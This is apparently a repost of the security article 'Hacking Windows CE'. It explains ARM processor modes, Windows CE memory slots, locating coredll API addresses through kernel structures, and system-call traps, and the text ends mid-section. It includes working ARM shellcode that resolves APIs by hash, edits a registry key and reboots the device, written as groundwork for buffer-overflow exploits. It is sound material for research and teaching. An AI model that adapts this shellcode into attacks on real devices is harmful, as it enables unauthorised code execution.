Hacking Windows CE

    技术2022-05-11  14

    --[ 2 - Windows CE Overview


    Windows CE is a very popular embedded operating system for PDAs and

    mobiles. As the name, it's developed by Microsoft. Because of the similar

    APIs, the Windows developers can easily develop applications for Windows

    CE. Maybe this is an important reason that makes Windows CE popular.

    Windows CE 5.0 is the latest version, but Windows CE.net(4.2) is the most

    useful version, and this paper is based on Windows CE.net.


    For marketing reason, Windows Mobile Software for Pocket PC and Smartphone

    are considered as independent products, but they are also based on the

    core of Windows CE.


    By default, Windows CE is in little-endian mode and it supports several




    --[ 3 - ARM Architecture


    ARM processor is the most popular chip in PDAs and mobiles, almost all of

    the embedded devices use ARM as CPU. ARM processors are typical RISC

    processors in that they implement a load/store architecture. Only load and

    store instructions can access memory. Data processing instructions operate

    on register contents only.


    There are six major versions of ARM architecture. These are denoted by

    the version numbers 1 to 6.


    ARM processors support up to seven processor modes, depending on the

    architecture version. These modes are: User, FIQ-Fast Interrupt Request,

    IRQ-Interrupt Request, Supervisor, Abort, Undefined and System. The System

    mode requires ARM architecture v4 and above. All modes except User mode

    are referred to as privileged mode. Applications usually execute in User

    mode, but on Pocket PC all applications appear to run in kernel mode, and

    we'll talk about it late.


    ARM processors have 37 registers. The registers are arranged in partially

    overlapping banks. There is a different register bank for each processor

    mode. The banked registers give rapid context switching for dealing with

    processor exceptions and privileged operations.


    In ARM architecture v3 and above, there are 30 general-purpose 32-bit

    registers, the program counter(pc) register, the Current Program Status

    Register(CPSR) and five Saved Program Status Registers(SPSRs). Fifteen

    general-purpose registers are visible at any one time, depending on the

    current processor mode. The visible general-purpose registers are from r0

    to r14.


    By convention, r13 is used as a stack pointer(sp) in ARM assembly language.

    The C and C++ compilers always use r13 as the stack pointer.


    In User mode and System mode, r14 is used as a link register(lr) to store

    the return address when a subroutine call is made. It can also be used as

    a general-purpose register if the return address is stored in the stack.


    The program counter is accessed as r15(pc). It is incremented by four

    bytes for each instruction in ARM state, or by two bytes in Thumb state.

    Branch instructions load the destination address into the pc register.


    You can load the pc register directly using data operation instructions.

    This feature is different from other processors and it is useful while

    writing shellcode.



    --[ 4 - Windows CE Memory Management


    Understanding memory management is very important for buffer overflow

    exploit. The memory management of Windows CE is very different from other

    operating systems, even other Windows systems.


    Windows CE uses ROM (read only memory) and RAM (random access memory).


    The ROM stores the entire operating system, as well as the applications

    that are bundled with the system. In this sense, the ROM in a Windows CE

    system is like a small read-only hard disk. The data in ROM can be

    maintained without power of battery. ROM-based DLL files can be designated

    as Execute in Place. XIP is a new feature of Windows CE.net. That is,

    they're executed directly from the ROM instead of being loaded into

    program RAM and then executed. It is a big advantage for embedded systems.

    The DLL code doesn't take up valuable program RAM and it doesn't have to

    be copied into RAM before it's launched. So it takes less time to start an

    application. DLL files that aren't in ROM but are contained in the object

    store or on a Flash memory storage card aren't executed in place; they're

    copied into the RAM and then executed.


    The RAM in a Windows CE system is divided into two areas: program memory

    and object store.


    The object store can be considered something like a permanent virtual RAM

    disk. Unlike the RAM disks on a PC, the object store maintains the files

    stored in it even if the system is turned off. This is the reason that

    Windows CE devices typically have a main battery and a backup battery.

    They provide power for the RAM to maintain the files in the object store.

    Even when the user hits the reset button, the Windows CE kernel starts up

    looking for a previously created object store in RAM and uses that store

    if it finds one.


    Another area of the RAM is used for the program memory. Program memory is

    used like the RAM in personal computers. It stores the heaps and stacks

    for the applications that are running. The boundary between the object

    store and the program RAM is adjustable. The user can move the dividing

    line between object store and program RAM using the System Control Panel



    Windows CE is a 32-bit operating system, so it supports 4GB virtual

    address space. The layout is as following:


    +----------------------------------------+ 0xFFFFFFFF

    | | | Kernel Virtual Address: |

    | | 2 | KPAGE Trap Area, |

    | | G | KDataStruct, etc |

    | | B | ... |

    | | |--------------------------------+ 0xF0000000

    | 4 | K | Static Mapped Virtual Address |

    | G | E | ... |

    | B | R | ... |

    | | N |--------------------------------+ 0xC4000000

    | V | E | NK.EXE |

    | I | L |--------------------------------+ 0xC2000000

    | R | | ... |

    | T | | ... |

    | U |---|--------------------------------+ 0x80000000

    | A | | Memory Mapped Files |

    | L | 2 | ... |

    | | G |--------------------------------+ 0x42000000

    | A | B | Slot 32 Process 32 |

    | D | |--------------------------------+ 0x40000000

    | D | U | ... |

    | R | S |--------------------------------+ 0x08000000

    | E | E | Slot 3 DEVICE.EXE |

    | S | R |--------------------------------+ 0x06000000

    | S | | Slot 2 FILESYS.EXE |

    | | |--------------------------------+ 0x04000000

    | | | Slot 1 XIP DLLs |

    | | |--------------------------------+ 0x02000000

    | | | Slot 0 Current Process |

    +---+---+--------------------------------+ 0x00000000


    The upper 2GB is kernel space, used by the system for its own data. And

    the lower 2GB is user space. From 0x42000000 to below 0x80000000 memories

    are used for large memory allocations, such as memory-mapped files, object

    store is in here. From 0 to below 0x42000000 memories are divided into 33

    slots, each of which is 32MB.


    Slot 0 is very important; it's for the currently running process. The

    virtual address space layout is as following:


    +---+------------------------------------+ 0x02000000

    | | DLL Virtual Memory Allocations |

    | S | +--------------------------------|

    | L | | ROM DLLs:R/W Data |

    | O | |--------------------------------|

    | T | | RAM DLL+OverFlow ROM DLL: |

    | 0 | | Code+Data |

    | | +--------------------------------|

    | C +------+-----------------------------|

    | U | A |

    | R V | |

    | R +-------------------------+----------|

    | E | General Virtual Memory Allocations|

    | N | +--------------------------------|

    | T | | Process VirtualAlloc() calls |

    | | |--------------------------------|

    | P | | Thread Stack |

    | R | |--------------------------------|

    | O | | Process Heap |

    | C | |--------------------------------|

    | E | | Thread Stack |

    | S |---+--------------------------------|

    | S | Process Code and Data |

    | |------------------------------------+ 0x00010000

    | | Guard Section(64K)+UserKInfo |

    +---+------------------------------------+ 0x00000000


    First 64 KB reserved by the OS. The process' code and data are mapped from

    0x00010000, then followed by stacks and heaps. DLLs loaded into the top

    address. One of the new features of Windows CE.net is the expansion of an

    application's virtual address space from 32 MB, in earlier versions of

    Windows CE, to 64 MB, because the Slot 1 is used as XIP.



    --[ 5 - Windows CE Processes and Threads


    Windows CE treats processes in a different way from other Windows systems.

    Windows CE limits 32 processes being run at any one time. When the system

    starts, at least four processes are created: NK.EXE, which provides the

    kernel service, it's always in slot 97; FILESYS.EXE, which provides file

    system service, it's always in slot 2; DEVICE.EXE, which loads and

    maintains the device drivers for the system, it's in slot 3 normally; and

    GWES.EXE, which provides the GUI support, it's in slot 4 normally. The

    other processes are also started, such as EXPLORER.EXE.


    Shell is an interesting process because it's not even in the ROM.

    SHELL.EXE is the Windows CE side of CESH, the command line-based monitor.

    The only way to load it is by connecting the system to the PC debugging

    station so that the file can be automatically downloaded from the PC. When

    you use Platform Builder to debug the Windows CE system, the SHELL.EXE

    will be loaded into the slot after FILESYS.EXE.


    Threads under Windows CE are similar to threads under other Windows

    systems. Each process at least has a primary thread associated with it

    upon starting even if it never explicitly created one. And a process can

    create any number of additional threads, it's only limited by available



    Each thread belongs to a particular process and shares the same memory

    space. But SetProcPermissions(-1) gives the current thread access to any

    process. Each thread has an ID, a private stack and a set of registers.

    The stack size of all threads created within a process is set by the

    linker when the application is compiled.


    The IDs of process and thread in Windows CE are the handles of the

    corresponding process and thread. It's funny, but it's useful while



    When a process is loaded, system will assign the next available slot to it

    . DLLs loaded into the slot and then followed by the stack and default

    process heap. After this, then executed.


    When a process' thread is scheduled, system will copy from its slot into

    slot 0. It isn't a real copy operation; it seems just mapped into slot 0.

    This is mapped back to the original slot allocated to the process if the

    process becomes inactive. Kernel, file system, windowing system all runs

    in their own slots


    Processes allocate stack for each thread, the default size is 64KB,

    depending on link parameter when the program is compiled. The top 2KB is

    used to guard against stack overflow, we can't destroy this memory,

    otherwise, the system will freeze. And the remained available for use.


    Variables declared inside functions are allocated in the stack. Thread's

    stack memory is reclaimed when it terminates.



    --[ 6 - Windows CE API Address Search Technology


    We must have a shellcode to run under Windows CE before exploit. Windows

    CE implements as Win32 compatibility. Coredll provides the entry points

    for most APIs supported by Windows CE. So it is loaded by every process.

    The coredll.dll is just like the kernel32.dll and ntdll.dll of other Win32

    systems. We have to search necessary API addresses from the coredll.dll

    and then use these APIs to implement our shellcode. The traditional method

    to implement shellcode under other Win32 systems is to locate the base

    address of kernel32.dll via PEB structure and then search API addresses

    via PE header.


    Firstly, we have to locate the base address of the coredll.dll. Is there a

    structure like PEB under Windows CE? The answer is yes. KDataStruct is an

    important kernel structure that can be accessed from user mode using the

    fixed address PUserKData and it keeps important system data, such as

    module list, kernel heap, and API set pointer table (SystemAPISets).


    KDataStruct is defined in nkarm.h:



    struct KDataStruct {

    LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */

    HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */

    char bResched; /* 0x084 reschedule flag */

    char cNest; /* 0x085 kernel exception nesting */

    char bPowerOff; /* 0x086 TRUE during "power off" processing */

    char bProfileOn; /* 0x087 TRUE if profiling enabled */

    ulong unused; /* 0x088 unused */

    ulong rsvd2; /* 0x08c was DiffMSec */

    PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */

    PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */

    DWORD dwKCRes; /* 0x098 */

    ulong handleBase; /* 0x09c handle table base address */

    PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */

    LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */

    LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */

    ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */

    uchar *pMap; /* 0x2a4 ptr to MemoryMap array */

    DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */

    PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */

    PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */

    long nMemForPT; /* 0x2b4 - Memory used for PageTables */


    long alPad[18]; /* 0x2b8 - padding */

    DWORD aInfo[32]; /* 0x300 - misc. kernel info */

    // WINCE420/PUBLIC/COMMON/OAK/INC/pkfuncs.h

    #define KINX_PROCARRAY 0 /* 0x300 address of process array */

    #define KINX_PAGESIZE 1 /* 0x304 system page size */

    #define KINX_PFN_SHIFT 2 /* 0x308 shift for page # in PTE */

    #define KINX_PFN_MASK 3 /* 0x30c mask for page # in PTE */

    #define KINX_PAGEFREE 4 /* 0x310 # of free physical pages */

    #define KINX_SYSPAGES 5 /* 0x314 # of pages used by kernel */

    #define KINX_KHEAP 6 /* 0x318 ptr to kernel heap array */

    #define KINX_SECTIONS 7 /* 0x31c ptr to SectionTable array */

    #define KINX_MEMINFO 8 /* 0x320 ptr to system MemoryInfo struct */

    #define KINX_MODULES 9 /* 0x324 ptr to module list */

    #define KINX_DLL_LOW 10 /* 0x328 lower bound of DLL shared space */

    #define KINX_NUMPAGES 11 /* 0x32c total # of RAM pages */

    #define KINX_PTOC 12 /* 0x330 ptr to ROM table of contents */

    #define KINX_KDATA_ADDR 13 /* 0x334 kernel mode version of KData */

    #define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */

    #define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */

    #define KINX_PENDEVENTS 16 /* 0x340 bit mask for pending interrupt events */

    #define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */

    #define KINX_API_MASK 18 /* 0x348 bit mask for registered api sets */

    #define KINX_NLS_CP 19 /* 0x34c hiword OEM code page, loword ANSI code page */

    #define KINX_NLS_SYSLOC 20 /* 0x350 Default System locale */

    #define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */

    #define KINX_HEAP_WASTE 22 /* 0x358 Kernel heap wasted space */

    #define KINX_DEBUGGER 23 /* 0x35c For use by debugger for protocol communication */

    #define KINX_APISETS 24 /* 0x360 APIset pointers */

    #define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */

    #define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */

    #define KINX_NKSECTION 27 /* 0x36c Address of NKSection */

    #define KINX_PWR_EVTS 28 /* 0x370 Events to be set after power on */


    #define KINX_NKSIG 31 /* 0x37c last entry of KINFO -- signature when NK is ready */

    #define NKSIG 0x4E4B5347 /* signature "NKSG" */

    /* 0x380 - interlocked api code */

    /* 0x400 - end */

    }; /* KDataStruct */


    /* High memory layout


    * This structure is mapped in at the end of the 4GB virtual

    * address space.


    * 0xFFFD0000 - first level page table (uncached) (2nd half is r/o)

    * 0xFFFD4000 - disabled for protection

    * 0xFFFE0000 - second level page tables (uncached)

    * 0xFFFE4000 - disabled for protection

    * 0xFFFF0000 - exception vectors

    * 0xFFFF0400 - not used (r/o)

    * 0xFFFF1000 - disabled for protection

    * 0xFFFF2000 - r/o (physical overlaps with vectors)

    * 0xFFFF2400 - Interrupt stack (1k)

    * 0xFFFF2800 - r/o (physical overlaps with Abort stack & FIQ stack)

    * 0xFFFF3000 - disabled for protection

    * 0xFFFF4000 - r/o (physical memory overlaps with vectors & intr. stack & FIQ stack)

    * 0xFFFF4900 - Abort stack (2k - 256 bytes)

    * 0xFFFF5000 - disabled for protection

    * 0xFFFF6000 - r/o (physical memory overlaps with vectors & intr. stack)

    * 0xFFFF6800 - FIQ stack (256 bytes)

    * 0xFFFF6900 - r/o (physical memory overlaps with Abort stack)

    * 0xFFFF7000 - disabled

    * 0xFFFFC000 - kernel stack

    * 0xFFFFC800 - KDataStruct

    * 0xFFFFCC00 - disabled for protection (2nd level page table for 0xFFF00000)




    The value of PUserKData is fixed as 0xFFFFC800 on the ARM processor, and

    0x00005800 on other CPUs. The last member of KDataStruct is aInfo. It

    offsets 0x300 from the start address of KDataStruct structure. Member

    aInfo is a DWORD array, there is a pointer to module list in index

    9(KINX_MODULES), and it's defined in pkfuncs.h. So offsets 0x324 from

    0xFFFFC800 is the pointer to the module list.


    Well, let's look at the Module structure. I marked the offsets of the

    Module structure as following:



    typedef struct Module {

    LPVOID lpSelf; /* 0x00 Self pointer for validation */

    PMODULE pMod; /* 0x04 Next module in chain */

    LPWSTR lpszModName; /* 0x08 Module name */

    DWORD inuse; /* 0x0c Bit vector of use */

    DWORD calledfunc; /* 0x10 Called entry but not exit */

    WORD refcnt[MAX_PROCESSES]; /* 0x14 Reference count per process*/

    LPVOID BasePtr; /* 0x54 Base pointer of dll load (not 0 based) */

    DWORD DbgFlags; /* 0x58 Debug flags */

    LPDBGPARAM ZonePtr; /* 0x5c Debug zone pointer */

    ulong startip; /* 0x60 0 based entrypoint */

    openexe_t oe; /* 0x64 Pointer to executable file handle */

    e32_lite e32; /* 0x74 E32 header */


    typedef struct e32_lite { /* PE 32-bit .EXE header */

    unsigned short e32_objcnt; /* 0x74 Number of memory objects */

    BYTE e32_cevermajor; /* 0x76 version of CE built for */

    BYTE e32_ceverminor; /* 0x77 version of CE built for */

    unsigned long e32_stackmax; /* 0x78 Maximum stack size */

    unsigned long e32_vbase; /* 0x7c Virtual base address of module */

    unsigned long e32_vsize; /* 0x80 Virtual size of the entire image */

    unsigned long e32_sect14rva; /* 0x84 section 14 rva */

    unsigned long e32_sect14size; /* 0x88 section 14 size */

    struct info e32_unit[LITE_EXTRA]; /* 0x8c Array of extra info units */


    struct info { /* Extra information header block */

    unsigned long rva; /* Virtual relative address of info */

    unsigned long size; /* Size of information block */



    #define EXP 0 /* 0x8c Export table position */

    #define IMP 1 /* 0x94 Import table position */

    #define RES 2 /* 0x9c Resource table position */

    #define EXC 3 /* 0xa4 Exception table position */

    #define SEC 4 /* 0xac Security table position */

    #define FIX 5 /* 0xb4 Fixup table position */


    #define LITE_EXTRA 6 /* Only first 6 used by NK */

    } e32_lite, *LPe32_list;

    o32_lite *o32_ptr; /* 0xbc O32 chain ptr */

    DWORD dwNoNotify; /* 0xc0 1 bit per process, set if notifications disabled */

    WORD wFlags; /* 0xc4 */

    BYTE bTrustLevel; /* 0xc6 */

    BYTE bPadding; /* 0xc7 */

    PMODULE pmodResource; /* 0xc8 module that contains the resources */

    DWORD rwLow; /* 0xcc base address of RW section for ROM DLL */

    DWORD rwHigh; /* 0xd0 high address RW section for ROM DLL */

    PGPOOL_Q pgqueue; /* 0xcc list of the page owned by the module */

    } Module;



    Module structure is defined in kernel.h. The third member of Module

    structure is lpszModName, which is the module name string pointer and it

    offsets 0x08 from the start of the Module structure. The Module name is

    unicode string. The second member of Module structure is pMod, which is an

    address that point to the next module in chain. So we can locate the

    coredll module by comparing the unicode string of its name.


    Offsets 0x74 from the start of Module structure has an e32 member and it

    is an e32_lite structure. Let's look at the e32_lite structure, which

    defined in pehdr.h. In the e32_lite structure, member e32_vbase will tell

    us the virtual base address of the module. It offsets 0x7c from the start

    of Module structure. We else noticed the member of e32_unit[LITE_EXTRA],

    it is an info structure array. LITE_EXTRA is defined to 6 in the head of

    pehdr.h, only the first 6 used by NK and the first is export table position.

    So offsets 0x8c from the start of Module structure is the virtual relative

    address of export table position of the module.


    From now on, we got the virtual base address of the coredll.dll and its

    virtual relative address of export table position.


    I wrote the following small program to list all modules of the system:


    ; SetProcessorMode.s


    AREA |.text|, CODE, ARM


    EXPORT |SetProcessorMode|

    |SetProcessorMode| PROC

    mov r1, lr ; different modes use different lr - save it

    msr cpsr_c, r0 ; assign control bits of CPSR

    mov pc, r1 ; return




    // list.cpp



    01F60000 coredll.dll



    #include "stdafx.h"


    extern "C" void __stdcall SetProcessorMode(DWORD pMode);


    int WINAPI WinMain( HINSTANCE hInstance,

    HINSTANCE hPrevInstance,

    LPTSTR lpCmdLine,

    int nCmdShow)


    FILE *fp;

    unsigned int KDataStruct = 0xFFFFC800;

    void *Modules = NULL,

    *BaseAddress = NULL,

    *DllName = NULL;


    // switch to user mode



    if ( (fp = fopen("//modules.txt", "w")) == NULL )


    return 1;



    // aInfo[KINX_MODULES]

    Modules = *( ( void ** )(KDataStruct + 0x324));


    while (Modules) {

    BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) );

    DllName = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) );


    fprintf(fp, "X %ls/n", BaseAddress, DllName);


    Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) );







    In my environment, the Module structure is 0x8F453128 which in the kernel

    space. Most of Pocket PC ROMs were builded with Enable Full Kernel Mode

    option, so all applications appear to run in kernel mode. The first 5 bits

    of the Psr register is 0x1F when debugging, that means the ARM processor

    runs in system mode. This value defined in nkarm.h:


    // ARM processor modes

    #define USER_MODE 0x10 // 0b10000

    #define FIQ_MODE 0x11 // 0b10001

    #define IRQ_MODE 0x12 // 0b10010

    #define SVC_MODE 0x13 // 0b10011

    #define ABORT_MODE 0x17 // 0b10111

    #define UNDEF_MODE 0x1b // 0b11011

    #define SYSTEM_MODE 0x1f // 0b11111


    I wrote a small function in assemble to switch processor mode because the

    EVC doesn't support inline assemble. The program won't get the value of

    BaseAddress and DllName when I switched the processor to user mode. It

    raised a access violate exception.


    I use this program to get the virtual base address of the coredll.dll is

    0x01F60000 without change processor mode. But this address is invalid when

    I use EVC debugger to look into and the valid data is start from

    0x01F61000. I think maybe Windows CE is for the purpose of save memory

    space or time, so it doesn't load the header of dll files.


    Because we've got the virtual base address of the coredll.dll and its

    virtual relative address of export table position, so through repeat

    compare the API name by IMAGE_EXPORT_DIRECTORY structure, we can get the

    API address. IMAGE_EXPORT_DIRECTORY structure is just like other Win32

    system's, which defined in winnt.h:



    typedef struct _IMAGE_EXPORT_DIRECTORY {

    DWORD Characteristics; /* 0x00 */

    DWORD TimeDateStamp; /* 0x04 */

    WORD MajorVersion; /* 0x08 */

    WORD MinorVersion; /* 0x0a */

    DWORD Name; /* 0x0c */

    DWORD Base; /* 0x10 */

    DWORD NumberOfFunctions; /* 0x14 */

    DWORD NumberOfNames; /* 0x18 */

    DWORD AddressOfFunctions; // 0x1c RVA from base of image

    DWORD AddressOfNames; // 0x20 RVA from base of image

    DWORD AddressOfNameOrdinals; // 0x24 RVA from base of image




    --[ 7 - The Shellcode for Windows CE


    There are something to notice before writing shellcode for Windows CE.

    Windows CE uses r0-r3 as the first to fourth parameters of API, if the

    parameters of API larger than four that Windows CE will use stack to store

    the other parameters. So it will be careful to write shellcode, because

    the shellcode will stay in the stack. The test.asm is our shellcode:


    ; Idea from WinCE4.Dust written by Ratter/29A


    ; API Address Search

    ; san@xfocus.org


    ; armasm test.asm





    EXPORT WinMainCRTStartup


    AREA .text, CODE, ARM




    ; r11 - base pointer

    test_code_start PROC

    bl get_export_section


    mov r2, #4 ; functions number

    bl find_func


    sub sp, sp, #0x89, 30 ; weird after buffer overflow


    add r0, sp, #8

    str r0, [sp]

    mov r3, #2

    mov r2, #0

    adr r1, key

    mov r0, #0xA, 2

    mov lr, pc

    ldr pc, [r8, #-12] ; RegOpenKeyExW


    mov r0, #1

    str r0, [sp, #0xC]

    mov r3, #4

    str r3, [sp, #4]

    add r1, sp, #0xC

    str r1, [sp]

    ;mov r2, #0

    adr r1, val

    ldr r0, [sp, #8]

    mov lr, pc

    ldr pc, [r8, #-8] ; RegSetValueExW


    ldr r0, [sp, #8]

    mov lr, pc

    ldr pc, [r8, #-4] ; RegCloseKey


    adr r0, sf

    ldr r0, [r0]

    ;ldr r0, =0x0101003c

    mov r1, #0

    mov r2, #0

    mov r3, #0

    mov lr, pc

    ldr pc, [r8, #-16] ; KernelIoControl


    ; basic wide string compare

    wstrcmp PROC


    ldrh r2, [r0], #2

    ldrh r3, [r1], #2


    cmp r2, #0

    cmpeq r3, #0

    moveq pc, lr


    cmp r2, r3

    beq wstrcmp_iterate


    mov pc, lr



    ; output:

    ; r0 - coredll base addr

    ; r1 - export section addr

    get_export_section PROC

    mov r11, lr

    adr r4, kd

    ldr r4, [r4]

    ;ldr r4, =0xffffc800 ; KDataStruct

    ldr r5, =0x324 ; aInfo[KINX_MODULES]


    add r5, r4, r5

    ldr r5, [r5]


    ; r5 now points to first module


    mov r6, r5

    mov r7, #0



    ldr r0, [r6, #8] ; get dll name

    adr r1, coredll

    bl wstrcmp ; compare with coredll.dll


    ldreq r7, [r6, #0x7c] ; get dll base

    ldreq r8, [r6, #0x8c] ; get export section rva


    add r9, r7, r8

    beq got_coredllbase ; is it what we're looking for?


    ldr r6, [r6, #4]

    cmp r6, #0

    cmpne r6, r5

    bne iterate ; nope, go on



    mov r0, r7

    add r1, r8, r7 ; yep, we've got imagebase

    ; and export section pointer


    mov pc, r11



    ; r0 - coredll base addr

    ; r1 - export section addr

    ; r2 - function name addr

    find_func PROC

    adr r8, fn


    ldr r4, [r1, #0x20] ; AddressOfNames

    add r4, r4, r0


    mov r6, #0 ; counter



    ldr r7, [r4], #4

    add r7, r7, r0 ; function name pointer

    ;mov r8, r2 ; find function name


    mov r10, #0


    ldrb r9, [r7], #1

    cmp r9, #0

    beq hash_end

    add r10, r9, r10, ROR #7

    b hash_loop



    ldr r9, [r8]

    cmp r10, r9 ; compare the hash

    addne r6, r6, #1

    bne find_start


    ldr r5, [r1, #0x24] ; AddressOfNameOrdinals

    add r5, r5, r0

    add r6, r6, r6

    ldrh r9, [r5, r6] ; Ordinals

    ldr r5, [r1, #0x1c] ; AddressOfFunctions

    add r5, r5, r0

    ldr r9, [r5, r9, LSL #2]; function address rva

    add r9, r9, r0 ; function address


    str r9, [r8], #4

    subs r2, r2, #1

    bne find_func_loop


    mov pc, lr



    kd DCB 0x00, 0xc8, 0xff, 0xff ; 0xffffc800

    sf DCB 0x3c, 0x00, 0x01, 0x01 ; 0x0101003c


    fn DCB 0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl

    DCB 0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW

    DCB 0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW

    DCB 0x83, 0x17, 0x51, 0x0e ; RegCloseKey


    key DCB "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0

    DCB "//", 0x0, "//", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0

    DCB "m", 0x0, "//", 0x0, "//", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0

    DCB "f", 0x0, "i", 0x0, "g", 0x0, "//", 0x0, "//", 0x0, "G", 0x0, "e", 0x0, "n", 0x0

    DCB "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0


    val DCB "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0

    DCB "e", 0x0, 0x0, 0x0


    coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0

    DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0


    ALIGN 4





    WinMainCRTStartup PROC

    b test_code_start





    This shellcode constructs with three parts. Firstly, it calls the

    get_export_section function to obtain the virtual base address of coredll

    and its virtual relative address of export table position. The r0 and r1

    stored them. Second, it calls the find_func function to obtain the API

    address through IMAGE_EXPORT_DIRECTORY structure and stores the API

    addresses to its own hash value address. The last part is the function

    implement of our shellcode, it changes the register key

    HKLM/SOFTWARE/WIDCOMM/General/btconfig/StackMode to 1 and then uses

    KernelIoControl to soft restart the system.


    Windows CE.NET provides BthGetMode and BthSetMode to get and set the

    bluetooth state. But HP IPAQs use the Widcomm stack which has its own API,

    so BthSetMode can't open the bluetooth for IPAQ. Well, there is another

    way to open bluetooth in IPAQs(My PDA is HP1940). Just changing

    HKLM/SOFTWARE/WIDCOMM/General/btconfig/StackMode to 1 and reset the PDA,

    the bluetooth will open after system restart. This method is not pretty,

    but it works.


    Well, let's look at the get_export_section function. Why I commented off

    "ldr r4, =0xffffc800" instruction? We must notice ARM assembly language's

    LDR pseudo-instruction. It can load a register with a 32-bit constant

    value or an address. The instruction "ldr r4, =0xffffc800" will be

    "ldr r4, [pc, #0x108]" in EVC debugger, and the r4 register depends on the

    program. So the r4 register won't get the 0xffffc800 value in shellcode,

    and the shellcode will fail. The instruction "ldr r5, =0x324" will be

    "mov r5, #0xC9, 30" in EVC debugger, its ok when the shellcode is executed

    . The simple solution is to write the large constant value among the

    shellcode, and then use the ADR pseudo-instruction to load the address of

    value to register and then read the memory to register.


    To save size, we can use hash technology to encode the API names. Each API

    name will be encoded into 4 bytes. The hash technology is come from LSD's

    Win32 Assembly Components.


    The compile method is as following:


    armasm test.asm



    You must install the EVC environment first. After this, we can obtain the

    necessary opcodes from EVC debugger or IDAPro or hex editors.



    --[ 8 - System Call


    First, let's look at the implementation of an API in coredll.dll:


    .text:01F75040 EXPORT PowerOffSystem

    .text:01F75040 PowerOffSystem ; CODE XREF: SetSystemPowerState+58p

    .text:01F75040 STMFD SP!, {R4,R5,LR}

    .text:01F75044 LDR R5, =0xFFFFC800

    .text:01F75048 LDR R4, =unk_1FC6760

    .text:01F7504C LDR R0, [R5] ; UTlsPtr

    .text:01F75050 LDR R1, [R0,#-0x14] ; KTHRDINFO

    .text:01F75054 TST R1, #1

    .text:01F75058 LDRNE R0, [R4] ; 0x8004B138 ppfnMethods

    .text:01F7505C CMPNE R0, #0

    .text:01F75060 LDRNE R1, [R0,#0x13C] ; 0x8006C92C SC_PowerOffSystem

    .text:01F75064 LDREQ R1, =0xF000FEC4 ; trap address of SC_PowerOffSystem

    .text:01F75068 MOV LR, PC

    .text:01F7506C MOV PC, R1

    .text:01F75070 LDR R3, [R5]

    .text:01F75074 LDR R0, [R3,#-0x14]

    .text:01F75078 TST R0, #1

    .text:01F7507C LDRNE R0, [R4]

    .text:01F75080 CMPNE R0, #0

    .text:01F75084 LDRNE R0, [R0,#0x25C] ; SC_KillThreadIfNeeded

    .text:01F75088 MOVNE LR, PC

    .text:01F7508C MOVNE PC, R0

    .text:01F75090 LDMFD SP!, {R4,R5,PC}

    .text:01F75090 ; End of function PowerOffSystem


    Debugging into this API, we found the system will check the KTHRDINFO

    first. This value was initialized in the MDCreateMainThread2 function of




    if (kmode || bAllKMode) {

    pTh->ctx.Psr = KERNEL_MODE;


    } else {

    pTh->ctx.Psr = USER_MODE;





    If the application is in kernel mode, this value will be set with 1,

    otherwise it will be 0. All applications of Pocket PC run in kernel mode,

    so the system follow by "LDRNE R0, [R4]". In my environment, the R0 got

    0x8004B138 which is the ppfnMethods pointer of SystemAPISets[SH_WIN32],

    and then it flow to "LDRNE R1, [R0,#0x13C]". Let's look the offset 0x13C

    (0x13C/4=0x4F) and corresponding to the index of Win32Methods defined in



    const PFNVOID Win32Methods[] = {


    (PFNVOID)SC_PowerOffSystem, // 79




    Well, the R1 got the address of SC_PowerOffSystem which is implemented in

    kernel. The instruction "LDREQ R1, =0xF000FEC4" has no effect when the

    application run in kernel mode. The address 0xF000FEC4 is system call

    which used by user mode. Some APIs use system call directly, such as



    .text:01F756C0 EXPORT SetKMode

    .text:01F756C0 SetKMode


    .text:01F756C0 var_4 = -4


    .text:01F756C0 STR LR, [SP,#var_4]!

    .text:01F756C4 LDR R1, =0xF000FE50

    .text:01F756C8 MOV LR, PC

    .text:01F756CC MOV PC, R1

    .text:01F756D0 LDMFD SP!, {PC}


    Windows CE doesn't use ARM's SWI instruction to implement system call, it

    implements in different way. A system call is made to an invalid address

    in the range 0xf0000000 - 0xf0010000, and this causes a prefetch-abort

    trap, which is handled by PrefetchAbort implemented in armtrap.s.

    PrefetchAbort will check the invalid address first, if it is in trap area

    then using ObjectCall to locate the system call and executed, otherwise

    calling ProcessPrefAbort to deal with the exception.


    There is a formula to calculate the system call address:




    The api set handles are defined in PUBLIC/COMMON/SDK/INC/kfuncs.h and

    PUBLIC/COMMON/OAK/INC/psyscall.h, and the aipnrs are defined in several

    files, for example SH_WIN32 calls are defined in



